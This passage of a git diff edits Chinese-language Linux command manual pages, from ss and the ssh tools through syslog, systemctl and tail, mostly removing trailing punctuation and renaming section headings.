-# ss dport OP PORT 远程端口和一个数比较; +# ss dport OP PORT 远程端口和一个数比较 # ss sport OP PORT 本地端口和一个数比较 # OP 可以代表以下任意一个: # <= or le : 小于或等于端口号 diff --git a/Linux_man_cn/ssh-add.md b/Linux_man_cn/ssh-add.md index 34e61b4..15a35b1 100644 --- a/Linux_man_cn/ssh-add.md +++ b/Linux_man_cn/ssh-add.md @@ -5,9 +5,9 @@ ssh-add ## 说明 -**ssh-add命令** 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在`/usr/bin/ssh-add`。 +**ssh-add命令** 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在`/usr/bin/ssh-add` -### 语法 +## 选项 ``` ssh-add [-cDdLlXx] [-t life] [file ...] @@ -20,8 +20,8 @@ ssh-add -e pkcs11 ``` -D:删除ssh-agent中的所有密钥. -d:从ssh-agent中的删除密钥 --e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙。 --s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙。 +-e pkcs11:删除PKCS#11共享库pkcs1提供的钥匙 +-s pkcs11:添加PKCS#11共享库pkcs1提供的钥匙 -L:显示ssh-agent中的公钥 -l:显示ssh-agent中的密钥 -t life:对加载的密钥设置超时时间,超时ssh-agent将自动卸载密钥 @@ -29,7 +29,7 @@ ssh-add -e pkcs11 -x:对ssh-agent进行加锁 ``` -### 实例 +## 实例 1、把专用密钥添加到 ssh-agent 的高速缓存中: diff --git a/Linux_man_cn/ssh-agent.md b/Linux_man_cn/ssh-agent.md index c7b4c41..f98bb0f 100644 --- a/Linux_man_cn/ssh-agent.md +++ b/Linux_man_cn/ssh-agent.md @@ -5,11 +5,11 @@ ssh密钥管理器 ## 说明 -**ssh-agent命令** 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。 +**ssh-agent命令** 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证 -其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。 +其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程 -### 语法 +## 选项 ``` ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]] @@ -20,14 +20,14 @@ ssh-agent [-c | -s] -k ``` -a bind_address:bind the agent to the UNIX-domain socket bind_address. --c:生成C-shell风格的命令输出。 --d:调试模式。 --k:把ssh-agent进程杀掉。 --s:生成Bourne shell 风格的命令输出。 --t life:设置默认值添加到代理人的身份最大寿命。 +-c:生成C-shell风格的命令输出 +-d:调试模式 +-k:把ssh-agent进程杀掉 +-s:生成Bourne shell 风格的命令输出 +-t life:设置默认值添加到代理人的身份最大寿命 ``` -### 实例 +## 实例 运行ssh-agent: @@ -35,6 +35,6 @@ ssh-agent [-c | -s] -k ssh-agent ``` -运行ssh-agent,它会打印出来它使用的环境和变量。 +运行ssh-agent,它会打印出来它使用的环境和变量 diff --git a/Linux_man_cn/ssh-copy-id.md b/Linux_man_cn/ssh-copy-id.md index 97f83b7..ac123b2 100644 --- a/Linux_man_cn/ssh-copy-id.md +++ b/Linux_man_cn/ssh-copy-id.md @@ -5,9 +5,9 @@ ssh-copy-id ## 说明 -**ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。 +**ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限 -### 语法 +## 选项 ``` ssh-copy-id [-i [identity_file]] [user@]machine @@ -19,7 +19,7 @@ ssh-copy-id [-i [identity_file]] [user@]machine -i:指定公钥文件 ``` -### 实例 +## 实例 1、把本地的ssh公钥文件安装到远程主机对应的账户下: diff --git a/Linux_man_cn/ssh-keygen.md b/Linux_man_cn/ssh-keygen.md index ecb5a38..a57f2ff 100644 --- a/Linux_man_cn/ssh-keygen.md +++ b/Linux_man_cn/ssh-keygen.md @@ -5,9 +5,9 @@ ssh-keygen ## 说明 -**ssh-keygen命令** 用于为“ssh”生成、管理和转换认证密钥,它支持RSA和DSA两种认证密钥。 +**ssh-keygen命令** 用于为“ssh”生成、管理和转换认证密钥,它支持RSA和DSA两种认证密钥 -### 语法 +## 选项 ``` ssh-keygen(选项) @@ -16,16 +16,16 @@ ssh-keygen(选项) ``` --b:指定密钥长度; --e:读取openssh的私钥或者公钥文件; --C:添加注释; --f:指定用来保存密钥的文件名; --i:读取未加密的ssh-v2兼容的私钥/公钥文件,然后在标准输出设备上显示openssh兼容的私钥/公钥; --l:显示公钥文件的指纹数据; --N:提供一个新密语; --P:提供(旧)密语; --q:静默模式; --t:指定要创建的密钥类型。 +-b:指定密钥长度 +-e:读取openssh的私钥或者公钥文件 +-C:添加注释 +-f:指定用来保存密钥的文件名 +-i:读取未加密的ssh-v2兼容的私钥/公钥文件,然后在标准输出设备上显示openssh兼容的私钥/公钥 +-l:显示公钥文件的指纹数据 +-N:提供一个新密语 +-P:提供(旧)密语 +-q:静默模式 +-t:指定要创建的密钥类型 ``` usage: ssh-keygen [-q] [-b bits] [-t dsa | ecdsa | ed25519 | rsa | rsa1] diff --git a/Linux_man_cn/ssh-keyscan.md b/Linux_man_cn/ssh-keyscan.md index 32fd2ef..6ff2024 100644 --- a/Linux_man_cn/ssh-keyscan.md +++ b/Linux_man_cn/ssh-keyscan.md @@ -5,9 +5,9 @@ ssh-keyscan ## 说明 -**ssh-keyscan命令** 是一个收集大量主机公钥的使用工具。 +**ssh-keyscan命令** 是一个收集大量主机公钥的使用工具 -### 语法 +## 选项 ``` ssh-keyscan(选项)(参数) @@ -16,17 +16,17 @@ ssh-keyscan(选项)(参数) ``` --4:强制使用IPv4地址; --6:强制使用IPv6地址; --f:从指定文件中读取“地址列表/名字列表”; --p:指定连接远程主机的端口; --T:指定连接尝试的超时时间; --t:指定要创建的密钥类型; --v:信息模式,打印调试信息。 +-4:强制使用IPv4地址 +-6:强制使用IPv6地址 +-f:从指定文件中读取“地址列表/名字列表” +-p:指定连接远程主机的端口 +-T:指定连接尝试的超时时间 +-t:指定要创建的密钥类型 +-v:信息模式,打印调试信息 ``` ### 参数 -主机列表:指定要收集公钥的主机列表。 +主机列表:指定要收集公钥的主机列表 diff --git a/Linux_man_cn/sshd.md b/Linux_man_cn/sshd.md index 89a9e1d..234dc57 100644 --- a/Linux_man_cn/sshd.md +++ b/Linux_man_cn/sshd.md @@ -5,9 +5,9 @@ openssh软件套件中的服务器守护进程 ## 说明 -**sshd命令** 是openssh软件套件中的服务器守护进程。 +**sshd命令** 是openssh软件套件中的服务器守护进程 -### 语法 +## 选项 ``` sshd(选项) @@ -16,18 +16,18 @@ sshd(选项) ``` --4:强制使用IPv4地址; --6:强制使用IPv6地址; --D:以后台守护进程方式运行服务器; --d:调试模式; --e:将错误发送到标准错误设备,而不是将其发送到系统日志; --f:指定服务器的配置文件; --g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接; --h:指定读取主机key文件; --i:ssh以inetd方式运行; --o:指定ssh的配置选项; --p:静默模式,没有任何信息写入日志; --t:测试模式。 +-4:强制使用IPv4地址 +-6:强制使用IPv6地址 +-D:以后台守护进程方式运行服务器 +-d:调试模式 +-e:将错误发送到标准错误设备,而不是将其发送到系统日志 +-f:指定服务器的配置文件 +-g:指定客户端登录时的过期时间,如果在此期限内,用户没有正确认证,则服务器断开次客户端的连接 +-h:指定读取主机key文件 +-i:ssh以inetd方式运行 +-o:指定ssh的配置选项 +-p:静默模式,没有任何信息写入日志 +-t:测试模式 ``` diff --git a/Linux_man_cn/startx.md b/Linux_man_cn/startx.md index 7db6ecc..e6b0264 100644 --- a/Linux_man_cn/startx.md +++ b/Linux_man_cn/startx.md @@ -5,9 +5,9 @@ startx ## 说明 -**startx命令** 用来启动X Window,实际上启动X Window的程序为xinit。 +**startx命令** 用来启动X Window,实际上启动X Window的程序为xinit -### 语法 +## 选项 ``` startx(参数) @@ -15,10 +15,10 @@ startx(参数) ### 参数 -* 客户端及选项:X客户端及选项; -* 服务器及选项:X服务器及选项。 +* 客户端及选项:X客户端及选项 +* 服务器及选项:X服务器及选项 -### 实例 +## 实例 要在工作站上或 X 终端上启动 X 会话,请输入: @@ -50,7 +50,7 @@ startx -x .xinitrc startx -m mwm ``` -但是,如果找到启动脚本文件,则忽略`-w`选项。在启动脚本中,启动窗口管理器、装入X资源以及产生X客户机是用户的责任。以下是.xsession脚本的一个示例。 +但是,如果找到启动脚本文件,则忽略`-w`选项。在启动脚本中,启动窗口管理器、装入X资源以及产生X客户机是用户的责任。以下是.xsession脚本的一个示例 ``` #!/bin/csh @@ -65,26 +65,26 @@ startx -m mwm endif ``` -对于工作站,startup脚本中的最后一行应该是前台aixterm命令,该命令带有`-C`选项表示控制台信息。对于X终端,startup脚本中的最后一行应该是不带有`-C`选项的前台aixterm命令。另外,由于某些X终端在关闭时不终止telnet会话,所以用户必须在使用热键切换至X会话前退出当前的telnet会话。 +对于工作站,startup脚本中的最后一行应该是前台aixterm命令,该命令带有`-C`选项表示控制台信息。对于X终端,startup脚本中的最后一行应该是不带有`-C`选项的前台aixterm命令。另外,由于某些X终端在关闭时不终止telnet会话,所以用户必须在使用热键切换至X会话前退出当前的telnet会话 -`/usr/lib/X11/xdm/Xsession`文件中的xdm命令也可以使用startx命令。这为xdm命令提供了startx命令的功能。 +`/usr/lib/X11/xdm/Xsession`文件中的xdm命令也可以使用startx命令。这为xdm命令提供了startx命令的功能 -以下是启动X会话一贯使用的文件名。 +以下是启动X会话一贯使用的文件名 ``` -$HOME/.xerrors 其中,startx 用来重定向错误消息。在缺省情况下,startx 将错误重定向至用户主目录中的 .xerrors 文件中。 +$HOME/.xerrors 其中,startx 用来重定向错误消息。在缺省情况下,startx 将错误重定向至用户主目录中的 .xerrors 文件中 $HOME/.Xinit, $HOME/.xinit, $HOME/.Xinitrc, $HOME/.xinitrc, -$HOME/.xsession 作为包含 shell 命令的“启动文件”来启动窗口管理器、装入 X 资源并产生 X 客户机。 +$HOME/.xsession 作为包含 shell 命令的“启动文件”来启动窗口管理器、装入 X 资源并产生 X 客户机 $HOME/.Xdefaults, -$HOME/.xresources 作为装入的 X 资源文件来设置 X 客户机的用户首选项。 -$HOME/.mwmrc mwm 配置文件。 -$HOME/.twmrc twm 配置文件。 -$HOME/.awmrc awm 配置文件。 -$HOME/.uwmrc uwm 配置文件。 -/dev/lft* 终端或 tty、工作站初始 login shell 的界面。 +$HOME/.xresources 作为装入的 X 资源文件来设置 X 客户机的用户首选项 +$HOME/.mwmrc mwm 配置文件 +$HOME/.twmrc twm 配置文件 +$HOME/.awmrc awm 配置文件 +$HOME/.uwmrc uwm 配置文件 +/dev/lft* 终端或 tty、工作站初始 login shell 的界面 ``` diff --git a/Linux_man_cn/stat.md b/Linux_man_cn/stat.md index 6144e55..8892b73 100644 --- a/Linux_man_cn/stat.md +++ b/Linux_man_cn/stat.md @@ -5,9 +5,9 @@ stat ## 说明 -**stat命令** 用于显示文件的状态信息。stat命令的输出信息比ls命令的输出信息要更详细。 +**stat命令** 用于显示文件的状态信息。stat命令的输出信息比ls命令的输出信息要更详细 -### 语法 +## 选项 ``` stat(选项)(参数) @@ -16,18 +16,18 @@ stat(选项)(参数) ``` --L:支持符号连接; --f:显示文件系统状态而非文件状态; --t:以简洁方式输出信息; ---help:显示指令的帮助信息; ---version:显示指令的版本信息。 +-L:支持符号连接 +-f:显示文件系统状态而非文件状态 +-t:以简洁方式输出信息 +--help:显示指令的帮助信息 +--version:显示指令的版本信息 ``` ### 参数 -文件:指定要显示信息的普通文件或者文件系统对应的设备文件名。 +文件:指定要显示信息的普通文件或者文件系统对应的设备文件名 -### 实例 +## 实例 ``` [root@localhost ~]# ls -l myfile diff --git a/Linux_man_cn/stty.md b/Linux_man_cn/stty.md index 9433fe3..79fd03b 100644 --- a/Linux_man_cn/stty.md +++ b/Linux_man_cn/stty.md @@ -5,9 +5,9 @@ stty ## 说明 -**stty命令** 修改终端命令行的相关设置。 +**stty命令** 修改终端命令行的相关设置 -### 语法 +## 选项 ``` stty(选项)(参数) @@ -16,15 +16,15 @@ stty(选项)(参数) ``` --a:以容易阅读的方式打印当前的所有配置; --g:以stty可读方式打印当前的所有配置。 +-a:以容易阅读的方式打印当前的所有配置 +-g:以stty可读方式打印当前的所有配置 ``` ### 参数 -终端设置:指定终端命令行的设置选项。 +终端设置:指定终端命令行的设置选项 -### 实例 +## 实例 **在命令行下,禁止输出大写的方法:** diff --git a/Linux_man_cn/su.md b/Linux_man_cn/su.md index 0eae6c9..7cd11b8 100644 --- a/Linux_man_cn/su.md +++ b/Linux_man_cn/su.md @@ -9,7 +9,7 @@ ```markdown su [选项] [-] [USER [参数]...] -将有效用户id和组id更改为USER的id。单个 - 视为 -l。如果未指定USER,将假定为root。 +将有效用户id和组id更改为USER的id。单个 - 视为 -l。如果未指定USER,将假定为root -m, -p, --preserve-environment 不重置环境变量 -g, --group <组> 指定主组 diff --git a/Linux_man_cn/sudo.md b/Linux_man_cn/sudo.md index 14e5b7f..43a434f 100644 --- a/Linux_man_cn/sudo.md +++ b/Linux_man_cn/sudo.md @@ -24,7 +24,7 @@ sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [- --preserve-env=list 保留特定的环境变量 -e, --edit 编辑文件而非执行命令 -g, --group=group 以指定的用户组或 ID 执行命令 --H, --set-home 将 HOME 变量设为目标用户的主目录。 +-H, --set-home 将 HOME 变量设为目标用户的主目录 -h, --help 显示帮助消息并退出 -h, --host=host 在主机上运行命令(如果插件支持) -i, --login 以目标用户身份运行一个登录 shell;可同时指定一条命令 diff --git a/Linux_man_cn/sum.md b/Linux_man_cn/sum.md index 48b4fab..0670c64 100644 --- a/Linux_man_cn/sum.md +++ b/Linux_man_cn/sum.md @@ -5,9 +5,9 @@ sum ## 说明 -**sum命令** 用于计算并显示指定文件的校验和与文件所占用的磁盘块数。 +**sum命令** 用于计算并显示指定文件的校验和与文件所占用的磁盘块数 -### 语法 +## 选项 ``` sum(选项)(参数) @@ -16,15 +16,15 @@ sum(选项)(参数) ``` --r:使用BSD的校验和算法,块大小为1k; --s:使用system V的校验和算法,块大小为512字节。 +-r:使用BSD的校验和算法,块大小为1k +-s:使用system V的校验和算法,块大小为512字节 ``` ### 参数 -文件列表:需要计算和与磁盘块数的文件列表。 +文件列表:需要计算和与磁盘块数的文件列表 -### 实例 +## 实例 计算文件校验码: diff --git a/Linux_man_cn/swapoff.md b/Linux_man_cn/swapoff.md index ff0cf26..59fbce7 100644 --- a/Linux_man_cn/swapoff.md +++ b/Linux_man_cn/swapoff.md @@ -5,9 +5,9 @@ swapoff ## 说明 -**swapoff命令** 用于关闭指定的交换空间(包括交换文件和交换分区)。swapoff实际上为swapon的符号连接,可用来关闭系统的交换区。 +**swapoff命令** 用于关闭指定的交换空间(包括交换文件和交换分区)。swapoff实际上为swapon的符号连接,可用来关闭系统的交换区 -### 语法 +## 选项 ``` swapoff(选项)(参数) @@ -16,14 +16,14 @@ swapoff(选项)(参数) ``` --a:关闭配置文件“/etc/fstab”中所有的交换空间。 +-a:关闭配置文件“/etc/fstab”中所有的交换空间 ``` ### 参数 -交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。 +交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件 -### 实例 +## 实例 关闭交换分区 diff --git a/Linux_man_cn/swapon.md b/Linux_man_cn/swapon.md index dc6f274..1b28476 100644 --- a/Linux_man_cn/swapon.md +++ b/Linux_man_cn/swapon.md @@ -5,9 +5,9 @@ swapon ## 说明 -**swapon命令** 用于激活Linux系统中交换空间,Linux系统的内存管理必须使用交换区来建立虚拟内存。 +**swapon命令** 用于激活Linux系统中交换空间,Linux系统的内存管理必须使用交换区来建立虚拟内存 -### 语法 +## 选项 ``` swapon(选项)(参数) @@ -16,18 +16,18 @@ swapon(选项)(参数) ``` --a:将/etc/fstab文件中所有设置为swap的设备,启动为交换区; --h:显示帮助; --p<优先顺序>:指定交换区的优先顺序; --s:显示交换区的使用状况; --V:显示版本信息。 +-a:将/etc/fstab文件中所有设置为swap的设备,启动为交换区 +-h:显示帮助 +-p<优先顺序>:指定交换区的优先顺序 +-s:显示交换区的使用状况 +-V:显示版本信息 ``` ### 参数 -交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。 +交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件 -### 实例 +## 实例 ``` mkswap -c /dev/hdb4 (-c是检查有无坏块) diff --git a/Linux_man_cn/sync.md b/Linux_man_cn/sync.md index 87b6ffe..d1006de 100644 --- a/Linux_man_cn/sync.md +++ b/Linux_man_cn/sync.md @@ -2,18 +2,18 @@ ## 说明 -**sync命令** 强迫将已更改的数据写入磁盘,并更新超级块。在Linux/Unix系统中,在文件或数据处理过程中一般先放到内存缓冲区中,等到适当的时候再写入磁盘,以提高系统的运行效率。sync命令则可用来强制将内存缓冲区中的数据立即写入磁盘中。用户通常不需执行sync命令,系统会自动执行update或bdflush操作,将缓冲区的数据写 入磁盘。只有在update或bdflush无法执行或用户需要非正常关机时,才需手动执行sync命令。 +**sync命令** 强迫将已更改的数据写入磁盘,并更新超级块。在Linux/Unix系统中,在文件或数据处理过程中一般先放到内存缓冲区中,等到适当的时候再写入磁盘,以提高系统的运行效率。sync命令则可用来强制将内存缓冲区中的数据立即写入磁盘中。用户通常不需执行sync命令,系统会自动执行update或bdflush操作,将缓冲区的数据写 入磁盘。只有在update或bdflush无法执行或用户需要非正常关机时,才需手动执行sync命令 ## buffer与cache * buffer:为了解决写磁盘的效率 * cache:为了解决读磁盘的效率 -linux系统为了提高读写磁盘的效率,会先将数据放在一块buffer中。在写磁盘时并不是立即将数据写到磁盘中,而是先写入这块buffer中了。此时如果重启系统,就可能造成数据丢失。 +linux系统为了提高读写磁盘的效率,会先将数据放在一块buffer中。在写磁盘时并不是立即将数据写到磁盘中,而是先写入这块buffer中了。此时如果重启系统,就可能造成数据丢失 -sync命令用来flush文件系统buffer,这样数据才会真正的写到磁盘中,并且buffer才能够释放出来,flush就是用来清空buffer。sync命令会强制将数据写入磁盘中,并释放该数据对应的buffer,所以常常会在写磁盘后输入sync命令来将数据真正的写入磁盘。 +sync命令用来flush文件系统buffer,这样数据才会真正的写到磁盘中,并且buffer才能够释放出来,flush就是用来清空buffer。sync命令会强制将数据写入磁盘中,并释放该数据对应的buffer,所以常常会在写磁盘后输入sync命令来将数据真正的写入磁盘 -如果不去手动的输入sync命令来真正的去写磁盘,linux系统也会周期性的去sync数据。 +如果不去手动的输入sync命令来真正的去写磁盘,linux系统也会周期性的去sync数据 ```sh sync; echo 3 > /proc/sys/vm/drop_caches # 清空Linux Buffer Cache diff --git a/Linux_man_cn/syslog.md b/Linux_man_cn/syslog.md index 322d78c..fb5e102 100644 --- a/Linux_man_cn/syslog.md +++ b/Linux_man_cn/syslog.md @@ -2,39 +2,39 @@ ## 说明 -**syslog** 是Linux系统默认的日志守护进程。默认的syslog配置文件是/etc/syslog.conf文件。程序,守护进程和内核提供了访问系统的日志信息。因此,任何希望生成日志信息的程序都可以向 syslog 接口呼叫生成该信息。 +**syslog** 是Linux系统默认的日志守护进程。默认的syslog配置文件是/etc/syslog.conf文件。程序,守护进程和内核提供了访问系统的日志信息。因此,任何希望生成日志信息的程序都可以向 syslog 接口呼叫生成该信息 -几乎所有的网络设备都可以通过syslog协议,将日志信息以用户数据报协议(UDP)方式传送到远端服务器,远端接收日志服务器必须通过syslogd监听UDP 端口514,并根据 syslog.conf配置文件中的配置处理本机,接收访问系统的日志信息,把指定的事件写入特定文件中,供后台数据库管理和响应之用。意味着可以让任何事件都登录到一台或多台服务器上,以备后台数据库用off-line(离线) 方法分析远端设备的事件。 +几乎所有的网络设备都可以通过syslog协议,将日志信息以用户数据报协议(UDP)方式传送到远端服务器,远端接收日志服务器必须通过syslogd监听UDP 端口514,并根据 syslog.conf配置文件中的配置处理本机,接收访问系统的日志信息,把指定的事件写入特定文件中,供后台数据库管理和响应之用。意味着可以让任何事件都登录到一台或多台服务器上,以备后台数据库用off-line(离线) 方法分析远端设备的事件 -通常,syslog 接受来自系统的各种功能的信息,每个信息都包括重要级。/etc/syslog.conf 文件通知 syslogd 如何根据设备和信息重要级别来报告信息。 +通常,syslog 接受来自系统的各种功能的信息,每个信息都包括重要级。/etc/syslog.conf 文件通知 syslogd 如何根据设备和信息重要级别来报告信息 -此 rsyslogd 后台进程负责搜集来自应用程序与核心的服务消息,然后送至日志档内 (通常保存在 /var/log/ 文件夹内)。遵守 /etc/rsyslog.conf 配置文件的要求。 +此 rsyslogd 后台进程负责搜集来自应用程序与核心的服务消息,然后送至日志档内 (通常保存在 /var/log/ 文件夹内)。遵守 /etc/rsyslog.conf 配置文件的要求 每个日志信息都和应用子系统相关联(文档中称为“facility”): -auth 和 authpriv:用于授权; -cron:源于任务调度服务, cron 和 atd; -daemon:影响未分类的守护进程(DNS, NTP,等); -ftp:涉及FTP 服务器; +auth 和 authpriv:用于授权 +cron:源于任务调度服务, cron 和 atd +daemon:影响未分类的守护进程(DNS, NTP,等) +ftp:涉及FTP 服务器 kern:源于内核的消息 -lpr:源于打印子系统; -mail:源于电子邮件子系统; -news:Usenet 子系统消息(主要源自NNTP -网络消息传输协议-管理新闻组的服务器); -syslog:源于 syslogd 服务自身的消息; -user:用户消息; -uucp:源于UUCP(Unix to Unix Copy Program,一种老式的分发电子邮件消息的协议)服务的消息; -local0 到 local7:保留本地使用。 +lpr:源于打印子系统 +mail:源于电子邮件子系统 +news:Usenet 子系统消息(主要源自NNTP -网络消息传输协议-管理新闻组的服务器) +syslog:源于 syslogd 服务自身的消息 +user:用户消息 +uucp:源于UUCP(Unix to Unix Copy Program,一种老式的分发电子邮件消息的协议)服务的消息 +local0 到 local7:保留本地使用 每种消息都有其优先级。下面按降序列出: -emerg:“救命!” 紧急状态,系统可能已挂了。 -alert赶快,任何推迟都是危险的,必须马上采取行动; -crit:情况很严苛; -err:错误; -warn:警告(潜在的错误); -notice:正常情况,但是该消息很重要; -info:提供信息; -debug:调试消息。 +emerg:“救命!” 紧急状态,系统可能已挂了 +alert赶快,任何推迟都是危险的,必须马上采取行动 +crit:情况很严苛 +err:错误 +warn:警告(潜在的错误) +notice:正常情况,但是该消息很重要 +info:提供信息 +debug:调试消息 ### 使用方法 -在/var/log中创建并写入日志信息是由syslog协议处理的,是由守护进程sylogd负责执行。每个标准的进程都可以用syslog记录日志。可以使用logger命令通过syslogd记录日志。 +在/var/log中创建并写入日志信息是由syslog协议处理的,是由守护进程sylogd负责执行。每个标准的进程都可以用syslog记录日志。可以使用logger命令通过syslogd记录日志 要向syslog文件/var/log/messages中记录日志信息: diff --git a/Linux_man_cn/systemctl.md b/Linux_man_cn/systemctl.md index 9856cd2..cdb3f4a 100644 --- a/Linux_man_cn/systemctl.md +++ b/Linux_man_cn/systemctl.md @@ -5,7 +5,7 @@ systemctl ## 说明 -**systemctl命令** 是系统服务管理器指令,它实际上将 service 和 chkconfig 这两个命令组合到一起。 +**systemctl命令** 是系统服务管理器指令,它实际上将 service 和 chkconfig 这两个命令组合到一起 @@ -95,7 +95,7 @@ systemctl
-### 实例 +## 实例 1.启动nfs服务 @@ -143,7 +143,7 @@ iptables -I INPUT -p tcp --dport 22 -j accept 关闭SElinux: -修改`/etc/selinux/config`文件中的`SELINUX=””`为disabled,然后重启。 +修改`/etc/selinux/config`文件中的`SELINUX=””`为disabled,然后重启 彻底关闭防火墙: @@ -181,12 +181,12 @@ systemd-analyze critical-chain atd.service 3.hostnamectl # 显示当前主机的信息 hostnamectl -# 设置主机名。 +# 设置主机名 hostnamectl set-hostname rhel7 4.localectl # 查看本地化设置 localectl -# 设置本地化参数。 +# 设置本地化参数 localectl set-locale LANG=en_GB.utf8 localectl set-keymap en_GB 5.timedatectl # 查看当前时区设置 diff --git a/Linux_man_cn/systool.md b/Linux_man_cn/systool.md index c12cf32..46c612c 100644 --- a/Linux_man_cn/systool.md +++ b/Linux_man_cn/systool.md @@ -5,9 +5,9 @@ systool ## 说明 -**systool命令** 指令显示基于总线、类和拓扑显示系统中设备的信息。 +**systool命令** 指令显示基于总线、类和拓扑显示系统中设备的信息 -### 语法 +## 选项 ``` systool(选项)(参数) @@ -16,24 +16,24 @@ systool(选项)(参数) ``` --a:显示被请求资源的属性; --b<总线>:显示指定总线的信息; --c:显示指定类的信息; --d:仅显示设备; --h:显示指令的用法; --m<模块名称>:显示指定模块的信息; --p:显示资源的“sysfs”绝对路径; --v:显示所有属性; --A<属性>:显示请求资源的属性值; --D:仅显示驱动程序信息; --P:显示设备的父类。 +-a:显示被请求资源的属性 +-b<总线>:显示指定总线的信息 +-c:显示指定类的信息 +-d:仅显示设备 +-h:显示指令的用法 +-m<模块名称>:显示指定模块的信息 +-p:显示资源的“sysfs”绝对路径 +-v:显示所有属性 +-A<属性>:显示请求资源的属性值 +-D:仅显示驱动程序信息 +-P:显示设备的父类 ``` ### 参数 -设备:指定要查看信息的设备名称。 +设备:指定要查看信息的设备名称 -### 实例 +## 实例 ``` [root@localhost ~]# systool diff --git a/Linux_man_cn/tac.md b/Linux_man_cn/tac.md index 198231d..52e5b53 100644 --- a/Linux_man_cn/tac.md +++ b/Linux_man_cn/tac.md @@ -5,9 +5,9 @@ tac ## 说明 -**tac命令** 用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示。 +**tac命令** 用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示 -### 语法 +## 选项 ``` tac(选项)(参数) @@ -16,12 +16,12 @@ tac(选项)(参数) ``` --a或——append:将内容追加到文件的末尾; --i或——ignore-interrupts:忽略中断信号。 +-a或——append:将内容追加到文件的末尾 +-i或——ignore-interrupts:忽略中断信号 ``` ### 参数 -文件列表:指定要保存内容的文件列表。 +文件列表:指定要保存内容的文件列表 diff --git a/Linux_man_cn/tail.md b/Linux_man_cn/tail.md index 175d011..578fc7e 100644 --- a/Linux_man_cn/tail.md +++ b/Linux_man_cn/tail.md @@ -2,9 +2,12 @@ ## 说明 -**tail命令** 用于输入文件中的尾部内容。tail命令默认在屏幕上显示指定文件的末尾10行。如果给定的文件不止一个,则在显示的每个文件前面加一个文件名标题。如果没有指定文件或者文件名为“-”,则读取标准输入。 +**tail命令** 用于输入文件中的尾部内容。tail命令默认在屏幕上显示指定文件的末尾10行。如果给定的文件不止一个,则在显示的每个文件前面加 +一个文件名标题。如果没有指定文件或者文件名为“-”,则读取标准输入 -注意:如果表示bytes或lines的K值之前有一个”+”号,则从文件开头的第K项开始显示,K值后缀:b表示512,b 512, kB 1000, K 1024, MB 1000*1000, M 1024*1024,GB 1000*1000*1000, G 1024*1024*1024, and so on for T, P, E, Z, Y +注意:如果表示bytes或lines的K值之前有一个”+”号,则从文件开头的第K项开始显示 +K值后缀:b表示512,b 512, kB 1000, K 1024, MB 1000*1000, M 1024*1024,GB 1000*1000*1000, +G 1024*1024*1024, and so on for T, P, E, Z, Y ```markdown --c, --bytes=K :输出文件尾部的第K(K为整数)个字节内容 diff --git a/Linux_man_cn/tailf.md b/Linux_man_cn/tailf.md index e5d8374..cac864f 100644 --- a/Linux_man_cn/tailf.md +++ b/Linux_man_cn/tailf.md @@ -1,21 +1,21 @@ tailf === -在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出。 +在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出 ## 说明 -tailf命令几乎等同于`tail -f`,严格说来应该与`tail --follow=name`更相似些。当文件改名之后它也能继续跟踪,特别适合于日志文件的跟踪(follow the growth of a log file)。与`tail -f`不同的是,如果文件不增长,它不会去访问磁盘文件。tailf特别适合那些便携机上跟踪日志文件,因为它能省电,因为减少了磁盘访问。tailf命令不是个脚本,而是一个用C代码编译后的二进制执行文件,某些Linux安装之后没有这个命令。 +tailf命令几乎等同于`tail -f`,严格说来应该与`tail --follow=name`更相似些。当文件改名之后它也能继续跟踪,特别适合于日志文件的跟踪(follow the growth of a log file)。与`tail -f`不同的是,如果文件不增长,它不会去访问磁盘文件。tailf特别适合那些便携机上跟踪日志文件,因为它能省电,因为减少了磁盘访问。tailf命令不是个脚本,而是一个用C代码编译后的二进制执行文件,某些Linux安装之后没有这个命令 tailf和tail -f的区别 1. tailf 总是从文件开头一点一点的读, 而tail -f 则是从文件尾部开始读 -2. tailf check文件增长时,使用的是文件名, 用stat系统调用;而tail -f 则使用的是已打开的文件描述符; 注:tail 也可以做到类似跟踪文件名的效果; 但是tail总是使用fstat系统调用,而不是stat系统调用;结果就是:默认情况下,当tail的文件被偷偷删除时,tail是不知道的,而tailf是知道的。 +2. tailf check文件增长时,使用的是文件名, 用stat系统调用;而tail -f 则使用的是已打开的文件描述符; 注:tail 也可以做到类似跟踪文件名的效果; 